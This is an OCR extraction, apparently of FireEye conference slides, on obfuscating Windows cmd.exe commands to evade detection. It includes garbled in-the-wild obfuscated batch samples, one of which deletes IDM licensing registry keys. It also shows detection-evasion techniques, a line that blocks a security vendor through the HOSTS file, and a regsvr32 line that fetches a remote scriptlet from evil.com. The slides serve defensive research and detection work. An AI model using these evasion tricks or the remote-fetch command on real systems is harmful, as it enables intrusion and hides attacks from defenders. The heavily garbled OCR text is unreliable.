veftjdii~47, 1%%aayhu8u8p8dveftjdi:~54, 1%%aayhuSu8p8dveftjdi:~44, 1%%aayhuSu8p8dveftjd4i:~39, 1%\{%aayhuSu8p8dveftj4i
Su8p8dveTtjdi:~9, 1%%aayhuBusp8dveftjdii~1, 1%%aayhuBu8p8dveftjdi:~6, 1%%aayhuBudp8dveftjdi:~4, 1%-%aayhuBuBpidvertjd

taskkill /F /IM IDMan.exe

taskkill /F /IM IDMGrHlp.exe

@echo HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{7BBE9164-324D-4A2E-A46D-0165FB20@REC} [7] =»permdel.txt
@regini permdel.txt

@echo HKEY_CURRENT_USER\Software\Classes\CLSID\{7BBE9164-324D-4A2E-A46D-0165FB20@REC} [7] =permdel.txt

@regini permdel.txt

@echo HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{7BBE9164-324D-4A2E-A46D-@165FB2@8REC}Y [7] =permdel.txt
@regini permdel.txt

@echo HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{7B8ES164-324D-4A2E-A46D-@165FB200REC} [7] =permdel.txt

@regini permdel.txt

@del permdel.txt

reg delete HKCU\Software\Classes\Wow6432Node\CLSID\{7B8E9164-324D-4AZE-A46D-8165FB20RREC} /T

reg delete HKCU\Software\Classes\CLSID\{7B8E9164-324D-4A2E-A46D-0165FB20@QECY /T

reg delete HKLM\Software\Classes\Wow6432Node\CLSID\{7BBE9164-324D-4A2E-A46D-8165FB2@RREC) /T

reg delete HKLM\Software\Classes\CLSID\{7BBE9164-324D-4A2E-A46D-B165FB20@RECT /T

reg delete HKCU\Software\DownloadManager /v CheckUpdtVM /T

reg delete HKCU\Software\DownloadManager /v scansk /f

reg delete HKCU\Software\DownloadManager /v tvfrdt /f

"I reg delete HKCU\Software\DownloadManager /v ptrk_scdt /f

reg delete HKCU\Software\Classes\CLSID\{@7999AC3-858B-4@BF-984F-69EB1ES54CATY /T
reg delete HKCU\Software\Classes\CLSID\{6DDF@@DB-1234-46EC-8356-27E7B2051192} /f
reg delete HKCU\Software\Classes\CLSID\{D5B91403-A8CA-4973-0A@B-59F713D25671} /T
reg delete HKLM\Software\Classes\CLSID\{@7999AC3-858B-4@BF-984F-69EB1ES54CATY /T
reg delete HKLM\Software\Classes\CLSID\{6DDF@@DB-1234-46EC-8356-27E7B2051192} /f
reg delete HKLM\Software\Classes\CLSID\{D5B914@3-A8CA-4973-0A@B-59F713D25671} /T
exit

uBuBp8dveftjdi:~4, 1%%aayhu8uSp8dveftj4i:~36, 1%%aayhuBu8p8dveftjdi:~2, 1%%aayhuSu8p8dveftjdi:~40, 1%-%aayhuSuSp8dvef

aayhuBuBp8dvettjdi:~0, 1%%saayhuBuBp8dveftjdi:~1, 1%%aayhuBuBp8dveftjdi:~6, 1%%aayhuBuBpBdveTtjdi:~5, 1%%aayhuBuBpBdveftjdi:~41, 1%33yhu8u8p8dv3ftj41'~3? 1%%aayhuBuBpBdveftjdi:~2, l%aayhususpsdvaftﬂlwa 1%%
aayhuBuBp8dveftj4i:~8, 1%%aayhuBuBpBdvaftjdi:~@, 1%%aayhuBuBpBdveftjdi:~48, 1%%aayhuBuBpBdvaftjdi:~38,1%} [%aayhuBuBpBdveftjdi:~7,1%] >%aayhuBuBpBdveftj4i:~25,1%%aayhuBuBpBdveftjdi:~14,1%%aayhuBuBpBdveftj4
1:~27,1%%aayhuBuBp8dveTtjdi:~22, 1%%aayhuBuBp8dveftjd4i:~13, 1%%aayhuBuBp8dveftjdi:~14, 1%%aayhuBuBp8dveftjdi:~21, 1%.%aayhuBuBp8dveftj4i:~29, 1%%aayhuBuBpBdveftjdi:~33, 1%%aayhuBuBpBdveftjdi:~29,1%

@%aayhuBuBp8dveftjdi:~27, 1%%aayhuBu8p8dveftjdi:~14, 1%%aayhuBuBp8dveftjdii~16, 1%%aayhuBuBp8dveftjdi:~18, 1%%aayhuBu8p8dveftjdi:~23, 1%%aayhuBuBp8dveftjdi:~18, 1% %aayhuBuBpBdveftjdi:~25, 1%%aayhudu8p8dveftid
i:~14, 1%%aayhuBuBp8dveTtjd4i:~27, 1%%aayhuBuBp8dveftjdi:~22, 1%%aayhuBuBp8dveftjdi:~13, 1%%aayhuBuBp8dveftjdi:~14, 1%%aayhuBuBpBdveftjdi:~21, 1%.%aayhuBuBpBdveTtjdi:~29, 1%%aayhuBul8pBdvertjdi:~33, 1%%aayhuBulpB

dveftjd4i:~29,1%

TFI o0y POUVOT TSI 5 T POUVET TSI 07 15 VOT T I~ oT; I 5
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Deep Dive: Character Insertion Obfuscation (ITW 3/3)

File Ratio First sub. Last sub. Times sub. Sources Size
A E n V Var e n C O d I n g I n th e WI I d _ 761483906b45fad51f3c7ab66b1534dee137e93a52816aa270bc97249ach56d0 0/ 59 2017-10-08 2017-10-09 2 1 36.5 KB
ae8064c2fed2109d00f07c2a03afe965 17:59:02 17:59:02

A SHA-256: 761483906b45fad51f3c7ab66b1534deel137e93a52816aa270bc97249ach56d0 (see white paper!)

#:BatchEncryption Build 201610 By gwsbhqt@163.com"M
» @sprogramfiles:~-1, 1%%commonprogramfiles:~27, 1%%comspec:~-13, 1%%commonprogramfiles:~-6,1%"'="">%commonprogramfiles:~-7, 1%u%scommonprogramfiles:~13, 1%&@%scommonprogramfiles:~-15, 1%%comspec:~

S et e n V Var C al | e d 20, 1%h%commonprogramfiles:~18, 1%%commonprogramfiles:~-6, 1%%0s:~—6, 1%f f&@%commonprogramfiles:~-14, 1%%comspec:~-1, 1%%comspec:~-13, 1%%commonprogramfiles:~-6,1%'="*"%pathext:~18, 1% "~ 4~ K"~
~Yscomspec:~26, 1% " "“%pathext:~13, 1% ~"\u%programfiles:~8, 1% """ """ | "AAGANARE0S 18, 1%%05 I ~v—4, 1% 5= ANEAN_ %05 1 ~-5, 1%%commonprogramfiles:~25, 1%%05 t~4, 1%p~ " 1 A < " 2%05 1 ~0 , 1%, " (%
1 . comspec:~22, 1% "%pathext:~28,1%"**?%programfiles:~6, 1%q~""; ***%programfiles:~10, 1%~ I%comspec:~14,1%f***}***%commonprogramfiles:~-5, 1%**~ [scomspec:~12, 1%%comspec:~-6, 1% " @ " "]~ ~1~"")
(S | n g I e q u Ote) anspanrgpathext :~17, 1%~ %pathext i~16, 1%~ ~spathext :~7, Ly " { Aanansiarngansgcomspec: ~~10, 1%~ "%pathext :~2, 1%%comspec:~-2, 1%%comspec:~-7, 1% ~~%programfiles:~3, 1%~ "8~~~ /~*"%pathext :~12

J 1%~ ~Q%conmonprogramfilesi~d, 15 A ZAr -ArALARAgnathext i vdT, 15 AAUASAEARA ArA A~ gpathext 1~26, 1%h~ " %pathext:~35, 1% %05 1 ~8, 1% ">~ *~T~**pathext:~27, 1%~~~ jb%progranfiles:~13, 1% ~%com

. spec:~18, 1% " x " g G gpathext 1 ~46, 1%z ~9&@%programfiles:~-1, 1%%comspec:~15, 1%%comspec:~14, 1%%scommonprogramfiles:~-6, 1%vG%pathext:~7, 1%=%comspec:~14, 1%u%spathext:~11, 1%%05 :~-2, 1%%pat
WI t h k n Own e nV hext:~31, 1%&@%05 : ~—4, 1%%scommonprogramfiles:~-15, 1%%comspec:~-13,1%%programfiles:~-6, 1%%pathext:~7, 1%%pathext:~11, 1%=U%programfiles:~-10, 1%%0s:~-2, 1%%05:~-9, 1%%comspec:~-15, 1%&@%commonpro
gramfiles:~15,1%%commonprogramfiles:~27, 1%%comspec:~-13,1%%programfiles:~-3, 1%%05s:~-6, 1%%comspec:~-7, 1%%commonprogramfiles:~-21, 1%%commonprogramfiles:~-16, 1%%programfiles:~-6, 1%%comspec:

. ~26, 1%%commonprogramfiles:~-7,1%%commonprogramfiles:~-21, 1%b%commonprogramfiles:~-3, 1%%comspec:~-12, 1%%0s:~3, 1%%commonprogramfiles:~14, 1%%programfiles:~13, 1%%commonprogramfiles:~B, 1%%com
Var S u b St rl n g S spec:~-15, 1%%comspec:~-3, 1%%0s:~-7, 1%%commonprogramfiles:~14, 1%%comspec:~25, 1%p%programfiles:~-8, 1%%commonprogramfiles:~22,1%%programfiles:~-1, 1%%0s:~1, 1%%commonprogramfiles:~-11, 1%%0s:~
-8, 1%&%comspec:~-12, 1%%commonprogramfiles:~22, 1%%comspec:~-5, 1%%programfiles:~-3, 1%%comspec:~28, 1%%commonprogramfiles:~21, 1%%programfiles:~-8, 1%%commonprogramfiles:~-16, 1%%commonprogramf

iles:~-19,1%%comspec:~-9, 1%>%commonprogramfiles:~22,1%u%sprogramfiles:~-3, 1%&&@%commonprogramfiles:~28, 1%%comspec:~15, 1%%comspec:~14, 1%%programfiles:~10@, 1%upbb%commonprogramfiles:~-12, 1%=

%programfiles:~8, 1%%pathext:~17, 1%z%pathext:~18, 1%&@%commonprogramfiles:~27, 1%%comspec:~-7, 1%h%scommonprogramfiles:~5, 1%.>%0 &&@%programfiles:~-1, 1%hu%scomspec:~14, 1%%comspec:~22,1%%common
programfilesi~-11,1%%0s:~5, 1%%commonprogramfiles:~-7, 1%%commonprogramfiles:~-6,1%/%0s:~-4,1%%programfiles:~-6,1%/f%sprogramfiles:~-6, 1%/%comspeci~14, 1%%commonprogramfiles:~10@, 1%0&&@%comsp
ec:~-3,1%%comspec:~-2, 1%%commonprogramfiles:~12, 1%%comspec:~-13, 1%&8@%programfiles:~15, 1%%commonprogramfiles:~14, 1%%comspec:~14, 1%%commonprogramfiles:~23, 1%%pathext:~8, 1%pYf=%commonprogr

amfiles:~-7, 1%kz&@%commonprogramfiles:~27, 1%%comspec:~-7,1%h%commonprogramfiles:~-11, 1%%commonprogramfiles:~10,1%""M
%' 171, 1%%" 1~24, 1%% ' 1~-152, 1%5% " 1~60, 1%% ' 1~—103, 1%%' 1~02, 1%5%" 1~28, 1%% ' 1~143, 1%% ' 1~-70, 1%%' :1~137, 1%%' 123, 1%% ' 1~13, 1%% "' 1~146, 1%%' 1~-130, 1%% ' :~—B9, 1%% ' 1~—126, 1%% ' 1~—00, 1%% ' :~—103,1%! ' 1% 15
Assemble payload 7,1%%" i~-137, 1% 1B, 19%% ' i~53, 1%%" 1~-103, 1%’ i~—17, 1%%" 1~00, 1% i~57, 1% ' in-114, 1%%" in71, 1%%' in8, 1%’ i~101, 1%k’ 1131, 1%%" 125, 1% i~44, 1% " 1~-23, 1%%0 %' i~30, 1%’ 71, 1% ' i~-136, 1%%" i~1
31, 1%%" i~13, 1%% " 1~60, 1%%' 1~—113, 1%% ' 1~-125, 1%%" :~33, 1%%' 1423, 1%% ' :~—103, 1%%" 1~107, 1%%' :~24, 1%%" :~57, 1%%' :~-53, 1%%"' :~61, 1%%' :1~—103, 1%% ' 1~-53, 1%%" :~60, 1%% ' 1~-103, 1%%" :~-36, 1%%" :~-130, 1%%':
. ~71,1%%" 1~8, 1%%" 1~100, 1%% ' :~34, 1%%' 1~60, 1%% ' 1~-83, 1%%' 1~57, 1%% ' 1~8, 1%%' i~—14, 1%5%" :~24, 1%%' :~B, 1%% "' :~57, 1%%' 1~-114, 1%% ' 171, 1%% " 1~-50, 1%% ' i~-14, 1%%" :~24, 1%%' i~77, 1%% ' :~-130, 1%% ' :~71, 1%% " :
aS SUbStnngS from ~—136,1%% " :~B, 1%% ' :~—100, 1%% ' :~57, 1%%"' :~—107, 1%% ' : ~154, 1%% ' :~—60, 1%% ' :~28, 1%%' :~36, 1%%' :~—6, 1%% ' :~30, 1%% ' :~—80, 1%% ' :~B, 1%% ' :~23, 1%%" :~47, 1%% " :~—14, 1%%" 1~—125, 1%% ' 1~-50, 1%% ' i~14, 1%% ' :~146
L, 1%%" 1~=130, 1%% " i~71, 1%% ' :~-136, 1%% ' :~8, 1%% ' :~6@, 1%% ' 1~57, 1%% ' :~81,1%% ' :~141, 1%% ' :~—137, 1%% "' :~-147, 1%%" :~69, 1%% ' i~-132, 1%% ' :~33,1%% "' 1~49, 1%% ' :~—75, 1%% " :~7, 1%% ' :~122, 1%% ' :~-130, 1%% ' :~71,1
. 568" 1~—136, 1%%"' i~—152, 1%% ' :~6@, 1% i~57, 1%% ' 1~—147 , 1%%" 1~—125, 1%%" :~28, 1%% "' 1~61, 1%%" i~—27, 1%% "' i~—130, 1%% "' :~71, 1%%" i~24, 1%% " 1~—152, 1%%" :~—100, 1%%' i~—103, 1%% ' :~—68, 1%% ' :~-132, 1%%" 1~143, 1%
neW|y'Set env var 1~143,1%% ' 1~143, 1%% 1~T1, 19%%' i~=17, 1%%" 1~143, 1%% " i~—17, 1%% ' :~—148, 1%%" 1~145, 1%%" :~143, 1%% ' :~143, 1%% ' 117, 1%%' :~51, 1%% "' :~143, 1% :1~143, 1%%' 1~—17, 1%%" :~30, 1%%' :~60, 1%%" :~143, 1%% ' :~143, 1%%
'1n143,1%%" 1a=T72, 1%% ' 1~143, 1%% ' 1~143, 1%% ' 1~-17, 1%% ' 1~105, 1%% ' 1~-137, 1%% ' 1~143, 1%% ' :1~143, 1%% ' :~143, 1%% ' 1~—138, 1%% ' 1~-17, 1%% ' :~143, 1%% ' 1~143,1%% "' 1~—4, 1%% ' :1~143, 1%% ' 1~143, 1%% ' 1~143, 1%% "' :~92
L1 1nm17, 155" 1n—17, 1%% ' :~143, 1%% ' 1~124, 1%% ' i~143, 1%% ' :~143, 1%%" 1~143, 1%%' :~114, 1%% ' 1~—6@, 1%% 1~—17, 1%5%" 1~—17, 1%% ' 117, 1% :1~100, 1%%' 1~—17, 1%% :~—17, 1%%" i~143, 1%% ' :~16, 1%% " i~143, 1%% ' 1~

=17,1%%" :~143,1%% ' 1 ~-34, 1%% ' :~68, 1%% ' 1 ~143, 1%%" 1~=17,1%% ' 1 ~143, 1%% ' :~79, 1%% "' :1~143,1%% "' :1~=17,1%% "' :~=17, 1%%"' 1~154,1%% "' 1~=17, 1%%"' :1~=17,1%%" 1~=17,1%% ' 1~=38, 1%%"' :1~33, 1%% ' :~-17,1%%' :~=17,1%%"':
~=17,1%% "' :~—B85,1%% "' :~143,1%%"' :~143,1%% "' :~143, 1%% "' i~—42, 1%%"' :~=17,1%%" :~=17,1%% "' 1~-17,1%%"' 1~=19,1%% "' i~=17,1%% " i~-17,1%%" ' :~143,1%% "' :~=25,1%% "' i1~143,1%%" :~=17,1%% ' :~143, 1%% "' :~-122, 1%% "' :~-126
2 1%% " 1~=17,1%%" 1~143,1%% ' 1~143, 1%% ' :~=140, 1%% ' :~86, 1%% ' 1~143, 1%% ' :~143,1%%" 1~=17, 1%% ' 1 ~=105, 1%% ' :~143, 1%% ' : ~143,1%% ' :1~143, 1%% "' 1~=95,1%% ' :~=16, 1%% ' :~=17,1%%" 1~=17,1%%"' 1 ~143, 1%% "' :~7,1%% ' 1~
101, 1%%" :~143,1%% " :~143, 1%% "' 1~143,1%%" 1~=12, 1%% ' :1~-17,1%%"' i~143,1%% "' :~143,1%% "' i1~40,1%% "' 1~-17,1%% "' i~=17,1%% "' :~=17,1%% "' i~=17,1%%" ' :~143,1%% "' i~=17,1%%" ' i~=17,1%%"' :~32,1%% "' i~143,1%% "' :~143, 1%%"'
1~=17,1%% " 1~57, 1%% ' 1~=124,1%% " 1~143, 1%% ' :~=17,1%%' 1~=17,1%% "' :~128, 1%%"' :1~143,1%% " 1~-17,1%% ' 1~=17, 1%% " :~-21, 1%%" :~143, 1%% ' 1 ~143, 1%% ' :~-17,1%%"' :~10, 1%% "' :~112, 1%% ' :~=17, 1%% ' :~143, 1%%' :~143,1
%% "' 1~=101,1%%" 1~=17,1%% "' :~=17,1%%" ' i~143,1%% "' :~-30,1%%" ' :~=17,1%%" ' :~-17, 1%% "' 1~143,1%%" :~63, 1%% "' i ~-17, 1%%" ' 1~-17,1%%" i~=17,1%%"' :~-66, 1%%" ' i~-29,1%% "' 1~-99, 1%%"' :~-113, 1%%" i~=17,1%%" :~-17,1%%" i~
=17, 1%%" :~5,1%% " :~143,1%% "' :~143, 1%% ' :~143,1%%"' :~26, 1%%' :~-17,1%%" :~143,1%% ' :~143, 1%%' :~-114, 1%% ' :~143, 1%% " :~-17,1%%"' 1 ~143, 1%% ' :~-159, 1%% "' 1 ~=17, 1%% "' 1 ~=17, 1%%' :~143, 1%%" :~-57, 1%% "' : ~69, 1%%"'
in=147,1%%" 1~=17,1%% "' 1~=17, 1%%" i~=17,1%% "' 1~67,1%%" i~=17,1%% "' i~=17,1%%" ' i~143,1%%" 1~-49,1%% "' :~-152,1%%" i~=17,1%% "' i~143,1%%"' i~=17,1%% "' :~107,1%% "' i~-17,1%%" ' i~143,1%%" ' :~143, 1%% ' :~120, 1%%"' i ~-17
s 1%% " 1~143,1%%" 1~—17,1%% ' :~150, 1%%' :~143,1%% ' :~-17, 1%% "' 1~143, 1%% ' :~=77, 1%%" :~143, 1%% ' :~—17, 1%% "' 1~-17,1%%" :~49, 1%%" :~143, 1%% "' :~143, 1%% "' :~-17, 1%%"' :~81, 1%% ' :~53,1%% "' :~95, 1%%"' :~143,1%% "' :~143

©
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OUTLINE

State of the-Unten Obfuscation

Obfuscation in the Wild: 3 Case Studies

Whose Binary is it Anyway: Obfuscating Binary Names
Deep Dive: Character Insertion Obfuscation

Deep(er) Dive: Advanced Payload Obfuscation

Invoke-DOSfuscation Demo

Detecting DOSfuscation

)
:)) . .
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

1

|

cmd.exe setup portion rest of the command

C:\>%COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

TCP ©0.0.0.0:135 ©0.0.0.0:0
TCP 0.0.0:445

©0.0.0.0:0
TCP 0.0.0:49664 ©0.0.0.0:0

Q.
Q.

LISTENING
LISTENING
LISTENING

)
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A%COMSPECY :: env var for "C:\Windows\system32\cmd.exe"

A /b :: exits cmd.exe to calling program with specified process exit code
Alc :: remainder of command line processed as a command

A start :: execute remaining command without waiting for it to finish
A/b :: (same as before but for second command)

A/min :: start window minimized
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Env var substring

A Env var substitution

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Env var substring

A Env var substitution

C:\>echo %COMSPECX%
C:\Windows\system32\cmd.exe

\ J
Y

27 chars

©
57 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / O FI reEye



Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A %COMSPEC:~0%

A | A %COMSPEC:~0,27%
Env var substring A % COMSPEC:~-2704

A %COMSPEC:~-27,27%

C:\>echo %COMSPECX%

C:\Windows\system32\cmd.exe

\ J
Y

27 chars

A Env var substitution

©
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A %COMSPEC:~0%
AEnv var substring A %COMSPEC:~0,27% | A %COMSPEC:~0,1337%

A %COMSPEC:~-27% A %COMSPEC:~-1337%
A %COMSPEC:~-27,27% | A %COMSPEC:~-1337,1337%

C:\>echo %COMSPECX%

C:\Windows\system32\cmd.exe

\ J
Y

27 chars

A Env var substitution

©
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A % COMSPEC:~0%
A %COMSPEC:~0,27% | A %COMSPEC:~0,1337%

A %COMSPEC:~-27% A %COMSPEC:~-1337%

A % COMSPEC:~-27,27% | A %COMSPEC:~-1337,1337%

A Env var substring

A Env var substitution A 0%COMSPEC\=/%

A %COMSPEC:KeepMatt=Happy%
A %COMSPEC:*System32\=%
A %COMSPEC:*Tea=Coffee%

)
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Env var substring

A %COMSPEC:~0,27%
A Env var substitution

A %COMSPEC:\=/%

61 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED.

A %COMSPEC:~0%

A %COMSPEC:~0,27% | A %COMSPEC:~0,1337%
A %COMSPEC:~-27% A %COMSPEC:~-1337%
A %COMSPEC:~-27,27% | A %COMSPEC:~-1337,1337%

A %COMSPEC:\=/%

A %COMSPEC:KeepMatt=Happy%
A %COMSPEC:*System32\=%

A %COMSPEC:*Tea=Coffee%
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Env var substring

A %coMSPec:~0,27%
A Env var substitution

A %coMSPec:\=/%
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Random Case

A Env var substring A Whitespace

A %coMSPec:~ 0, 27%
A Env var substitution

I
~~

A %coMSPec: \ %

)
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Deep(er) Dive: Advanced Payload Obfuscation

A %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

A Random Case
A Whitespace
A Explicit signing

A Env var substring

A %coMSPec:~ -0, +27%
A Env var substitution

I
~~

A %coMSPec: \ %

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = [ % /b/c start /b /min netstat -ano | findstr LISTENING

A Env var substring

A %coMSPec:~ -0, +27%
A Env var substitution

I
~~

A %coMSPec: |\ %

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = [ % /b/c start /b /min netstat -ano | findstr LISTENING

1

A Context is crucial
A Cmd.exe
A WScript.Shell
A O Service
A O Run key
A O Scheduled task

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = | %/B/csTArt/b/mIN neTSTat -aNo | fiNDstr LISTENING

A Random case

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = | %/BlcsTArt/b/mIN neTSTat -aNo|fiNDstr LISTENING
A Random case NOTE: Single whitespace is added
A Whitespace (-/+) to process arguments.

|

C:\Windows\system32\cmd.exe /B/csTArt/b/mIN neTSTat -aNo

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = | %/Bl/csTArt/b/mIN neTSTat -aNo|fiNDstr LISTENING
A Random case Netstat's -ano arg reordering

A Whitespace (-/+)

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = | %/Bl/csTArt/b/mIN neTSTat -Noa|fiNDstr LISTENING
A Random case Netstat's -ano arg reordering

A Whitespace (-/+)

)
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Deep(er) Dive: Advanced Payload Obfuscation

A%coMSPec: \ = | % /B /c sTArt /b /mIN neTSTat -Noa | fiNDstr
LISTENING

A Random case
A Whitespace (-/+)

)
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Deep(er) Dive: Advanced Payload Obfuscation

A, %coMSPec: \ = | %,./B,;/c,;,SsTAr,; /b ,;/mIN ;;neTSTat -Noa |,;,fiNDstr
LISTENING

A Random case
A Whitespace (-/+)
A Comma & semicolon

)
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Deep(er) Dive: Advanced Payload Obfuscation

A ’ ’ ,%COMSPeC:AMA\AAAA:AAAA/AAAA%A ’ ’ ’/\/\/\/\//\/\/\/\B/\/\/\/\’ ’ ,MAA/AC, ’ ,N\STN\AI"[N\, ’ ’//\/\/\/\b

NANNN ’;//\/\/\/\mIN/\/\/\/\ ”neT/\/\/\/\STat NAN\N/N /\/\/\/\_N/\/\/\/\0a NANNN Al,,,fIN\ANDStI’

LISTM2ENING

A Random case

A Whitespace (-/+) Let's look at process
A Comma & semicolon execution layers &
A Caret respective arguments!

)
5) . X
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Deep(er) Dive: Advanced Payload Obfuscation

A ’ ’ ,%COMSPeC:AMA\AAAA:AAAA/AAAA%A ’ ’ ’/\/\/\/\//\/\/\/\B/\/\/\/\ .

NANNN ’;//\/\/\/\mIN/\/\/\/\ ”neT/\/\/\/\STat NAN\N/N /\/\/\/\_N/\/\/\/\0a NANNN Al,,,fIN\ANDStl’

LISTM2ENING

/\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

neTSTat -Noa

1
C:\Windows\system32\cmd.exe /S /D /c"

fiINDstr LISTENING sTArt,;,/Ab 2 :/AmINA :neTASTat # A~-N"oa N

1t 1

C:\Windows\system32\cmd.exe ,;,M/ABAA,: M e ASTAAIA,; /MDA [ IAMMINAY ineTMSTat M M-NMoa M
,;,fI®NDstr LIST"ENING

©
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Deep(er) Dive: Advanced Payload Obfuscation

A ’ ’ ,%COMSPeC:AMA\AAAA:AAAA/AAAA%A ’ ’ ’/\/\/\/\//\/\/\/\B/\/\/\/\ .

NANNN ’;//\/\/\/\mIN/\/\/\/\ ”neT/\/\/\/\STat NAN\N/N /\/\/\/\_N/\/\/\/\0a NANNN Al,,,fIN\ANDStl’

LISTM2ENING

/\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

, ; and ™ do NOT persist into final
netstat & findstr commands. Is there
another obfuscation character?

neTSTat -Noa

1
C:\Windows\system32\cmd.exe /S /D /c"

fiINDstr LISTENING sTArt,;,/Ab 2 :/AmINA :neTASTat # A~-N"oa N

1t 1

C:\Windows\system32\cmd.exe ,;,M/ABAA,: M e ASTAAIA,; /MDA [ IAMMINAY ineTMSTat M M-NMoa M
,;,fI®NDstr LIST"ENING

)
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Deep(er) Dive: Advanced Payload Obfuscation

A ,;,%COMSPeC:MAA\AAAA:AAAA/AAAA%A ,;’/\/\/\/\//\/\/\/\B/\/\/\/\ . /\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

NANNN -//\/\/\/\mIN/\/\/\/\ -neT/\/\/\/\ST""at NANNN /\/\/\/\_N/\/\/\/\O""a NANNN /\| . fi/\/\/\ND""Str

LISTMEN™ING

YES! Double guotes are widely-
accepted obfuscation characters.
(, ; and  are binary-specific)

neTST™at -No™a

1
C:\Windows\system32\cmd.exe /S /D /c"

fIND™str LISTEN™ING STArt,;,/*o ~ ,;/ 'mIN” [;neTAST™at * ~-N"o™a ™"

1t 1

C:\Windows\system32\cmd.exe ,;,"/"BM,; M/c,; ASTAAr?,;,[Mb M 5 IMMINY neTMST™at M M-NMo™a
ML IAND™ str - LISTAEN™ING

©
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Deep(er) Dive: Advanced Payload Obfuscation

A Invoke-DOSfuscation supports and randomizes all of these obfuscation components

A For obfuscating final cmdline arguments:

A User-input command (e.g. netstat -ano)
must be obfuscated manually (, ; » "" etc.)

A Invoke-DOSfuscation handles all layers
of escaping for input obfuscation characters

INSANELY complicated in certain

scenarios, especially since there is — =
no tokenizer for cmd.exe like there
Is for PowerShell.

©
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Deep(er) Dive: Advanced Payload Obfuscation

A Invoke-DOSfuscation supports and randomizes all of these obfuscation components

A For obfuscating final cmdline arguments:

A User-input command (e.g. netstat -ano)
must be obfuscated manually (, ; » "" etc.)

A Invoke-DOSfuscation handles all layers
of escaping for input obfuscation characters

INSANELY complicated in certain

scenarios, especially since there is —
no tokenizer for cmd.exe like there
Is for PowerShell.
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Deep(er) Dive: Advanced Payload Obfuscation

AWhat cmd.exe commands do attackers use that do NOT create child processes?

)
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Deep(er) Dive: Advanced Payload Obfuscation

AWhat cmd.exe commands do attackers use that do NOT create child processes?

A File copy: cmd /c copy powershell.exe benign.exe

A File deletion: cmd /c del benign.exe

A File creation: cmd /c "echo LINE1 > bad.vbs&&echo LINE2 >> bad.vbs"

A File read: cmd /c type HOSTS

A File modification: cmd /c "echo 127.0.0.1 cloud.security-vendor.com >> HOSTS"
A File listing: cmd /c dir "C:\Program Files\*"

A Dir creation: cmd /c mkdir %PUBLIC%\Recon

A Symbolic link creation: cmd /c mklink ClickMe C:\Users\Public\evil.exe

©
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Deep(er) Dive: Advanced Payload Obfuscation

A Perhaps your target is monitoring for carets, commas, semicolons, etc.

A What additional obfuscation options does cmd.exe give us?

1
2
3.
4

©
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat -ano

)
(‘)) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat -ano

|

I and / interchangeability

)
(‘)) . .
83 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / ’\c FI re Eye



Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

©
84 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / Q FI re Eye



Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexelnol ogo ¢é
A powershell.exe -nop -noni-e n ¢ é

A regsvr32.exe Is In Ju li:https://evil.com/a scrobj.dll

)
(3) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexe-nol ogo é
A powershell.exe -nop -noni-e n ¢ é

A regsvr32.exe Is In Ju li:https://evil.com/a scrobj.dll

)
(3) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexe-nol ogo é
A powershell.exe Inop /nonile nc é

A regsvr32.exe Is In Ju li:https://evil.com/a scrobj.dll

)
(3) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexe-nol ogo é
A powershell.exe Inop /nonile nc é

A regsvr32.exe -s -n -u -i:https://evil.com/a scrobj.dll

)
(3) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexe-nol ogo é
A powershell.exe Inop /nonile nc é

A regsvr32.exe -s -n -u -i:https://evil.com/a scrobj.dll

)
(3) . .
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Payload Obfuscation 1 of 4: Concatenation

A cmd /c netstat /ano

|

I and / interchangeability

A More examples:
A wscriptexe-nol ogo é
A powershell.exe Inop /nonile nc é

